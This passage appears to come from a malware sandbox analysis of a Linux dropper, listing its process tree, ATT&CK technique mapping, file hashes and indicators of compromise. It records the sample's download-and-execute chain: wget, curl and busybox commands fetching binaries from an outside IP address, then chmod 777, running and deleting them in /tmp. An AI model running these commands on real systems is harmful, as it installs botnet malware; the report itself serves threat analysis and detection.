  chmod 777 1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - File and Directory Permissions Modification
  PID:1675
- /tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  ./1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - Executes dropped EXE
  PID:1676
- /bin/rm
  rm 1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  PID:1677
- /usr/bin/wget
  wget http://87.120.84.230/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  PID:1678
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - Writes file to tmp directory
  PID:1679
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  PID:1680
- /bin/chmod
  chmod 777 abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - File and Directory Permissions Modification
  PID:1681
- /tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  ./abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - Executes dropped EXE
  PID:1682
- /bin/rm
  rm abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  PID:1683

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2

Path /tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2	1520	2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
/tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H	1526	ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
/tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL	1532	tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
/tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB	1538	d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
/tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl	1544	ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
/tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L	1550	wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
/tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY	1556	HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
/tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3	1562	MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
/tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB	1568	iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
/tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz	1574	OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
/tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz	1580	hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
/tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk	1586	1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
/tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO	1592	abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
/tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF	1598	MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
/tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF	1604	MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
/tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2	1610	2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
/tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3	1616	MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
/tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB	1622	iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
/tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H	1628	ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
/tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL	1634	tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
/tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB	1640	d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
/tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl	1646	ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
/tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L	1652	wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
/tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY	1658	HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
/tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz	1664	OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
/tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz	1670	hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
/tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk	1676	1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
/tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO	1682	abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO